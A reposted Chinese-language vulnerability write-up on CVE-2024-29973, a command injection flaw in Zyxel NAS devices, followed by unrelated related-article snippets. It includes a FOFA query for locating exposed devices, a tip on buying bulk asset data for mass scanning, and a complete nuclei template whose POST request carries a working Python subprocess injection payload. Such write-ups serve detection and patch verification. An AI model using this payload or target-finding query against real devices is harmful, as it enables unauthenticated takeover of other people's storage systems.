Zyxel NAS设备的CVE-2024-29973远程代码执行漏洞验证

news/2024/9/25 18:28:01

概述

最近,Zyxel NAS 设备曝出了一个重大安全漏洞(CVE-2024-29973),该漏洞允许远程攻击者在受影响的设备上执行任意代码。这一漏洞已经被广泛关注,并被证实可以在实际中复现。本文将详细介绍该漏洞的成因、利用方式以及如何检测和防御这种攻击。

漏洞成因

Zyxel NAS 设备中存在一个不安全的 CGI 接口 /cmd,/simZysh/register_main/setCookie。该接口的参数 c0 没有正确的输入校验,导致用户可以通过特殊构造的输入来注入系统命令,并以设备权限执行这些命令。这种远程代码执行(RCE)漏洞为攻击者提供了完全控制受影响设备的能力,可能导致数据泄露、服务中断等严重后果。

FOFA

通过 FOFA 搜索可以快速定位可能受影响的设备。使用以下关键字可以找到暴露了该漏洞的设备:

body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"

以下是 FOFA 搜索结果示例:

image-20240621163236371

批量验证、资产数据可以看看闲鱼,挺便宜的 关键字 数据代导出

image-20240621163732585

漏洞验证

为了确认设备是否存在该漏洞,可以使用以下 nuclei模板:

id: CVE-2024-29973info:name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injectionauthor: ritikchaddhaseverity: criticaldescription: |The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.reference:- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/- https://x.com/sirifu4k1/status/1803267896656929099/photo/1- https://nvd.nist.gov/vuln/detail/CVE-2024-29973classification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.88cve-id: CVE-2024-29973cwe-id: CWE-78epss-score: 0.96901epss-percentile: 0.9971cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*metadata:verified: truemax-request: 1vendor: zyxelproduct: nas326_firmwarefofa-query: app="ZYXEL-NAS326"tags: cve,cve2024,zyxel,rce,intrusive
variables:string: "{{randstr}}"http:- raw:- |POST /cmd,/simZysh/register_main/setCookie HTTP/1.1Host: {{Hostname}}Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei------WebKitFormBoundarygcflwteiContent-Disposition: form-data; name="c0"storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#------WebKitFormBoundarygcflwtei--matchers:- type: dsldsl:- "status_code == 200"- "contains(body, 'errmsg0\": \"OK')"- "contains(header, 'application/json')"- "contains(body, '{{string}}')"condition: and

该请求尝试在设备上执行 id 命令。如果响应中包含用户身份信息,则表明设备存在该漏洞。

nuclei批量验证截图

image-20240621171116314

参考来源

- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
- https://github.com/projectdiscovery/nuclei-templates/blob/9eec4a72e18ff2600397e84994c28f5e8f53f472/http/cves/2024/CVE-2024-29973.yaml#L35

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/46171.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

vscode+robotframework的实践-selenium(更新中)

一 说明上一次使用robotframework还是2019年毕业刚进入工作的时候,使用的是robotframework的官方配套编辑器RIDE进行自动化脚本编写,在使用的过程中偶尔会遭遇卡顿、闪退等问题,当时排查问题大多数是因为RIDE自身与python版本以及操作系统之间的兼容性问题导致的,那时候没有…

Windows Server 2019 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板

Windows Server 2019 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板Windows Server 2019 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板 2024 年 6 月版本更新,现在自动运行 sysprep,支持 ESXi Host Client 部署 请访问原文链接:https://sysin.org/blog/windows…

Asp.Net Core 中的“虚拟目录”

原文链接:https://blog.csdn.net/sD7O95O/article/details/107587430 现在部署Asp.Net Core应用已经不再限制于Windows的IIS上,更多的是Docker容器、各种反向代理来部署。也有少部分用IIS部署的,IIS部署确实是又快又简单,图形化操作三下五除二就可以发布好一个系统了。在过…

通义灵码上线 Visual Studio 插件市场啦!

通义灵码,是阿里云出品的一款基于通义大模型的智能编码辅助工具,提供行级/函数级实时续写、自然语言生成代码、单元测试生成、代码优化、注释生成、代码解释、研发智能问答、异常报错排查等能力,提供代码智能生成、研发智能问答能力。通义灵码,是阿里云出品的一款基于通义大…

电脑IPv6正常但是外部无法ping或者ping不通解决办法

常见问题咨询解决运营商屏蔽 设备没有正确获取IPv6,只是局域网IPv6 路由器没有开启相关功能推荐一个测试网站,IPv4和IPv6多点查询 - 设备IP地址多点查询测试平台:https://v6.qjcq.net打开网站后其他设备扫码进入后可以在页面上全部显示ip地址所有问题排查之后还有无法ping通打…

Windows Server 2016 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板

Windows Server 2016 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板Windows Server 2016 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板 2024 年 6 月版本更新,现在自动运行 sysprep,支持 ESXi Host Client 部署 请访问原文链接:https://sysin.org/blog/windows…

KubeSphere 社区双周报|2024.06.07-06.20

KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过 commit 的贡献者,并对近期重要的 PR 进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。 本次双周报涵盖时间为:2024.06.07-06.20。 贡献者名单新晋 KubeSphere co…

vue3实现模拟地图上,站点名称按需显示的功能

很久很久没有更新博客了,因为实在是太忙了,每天都有公司的事情忙不完....... 最近在做车辆模拟地图,在实现控制站点名称按需显示时,折腾了好一段时间,特此记录一下。最终界面如下图所示:站点显示需求:首末站必须显示,从第一个站开始,如果站点名称能显示下,则显示,如…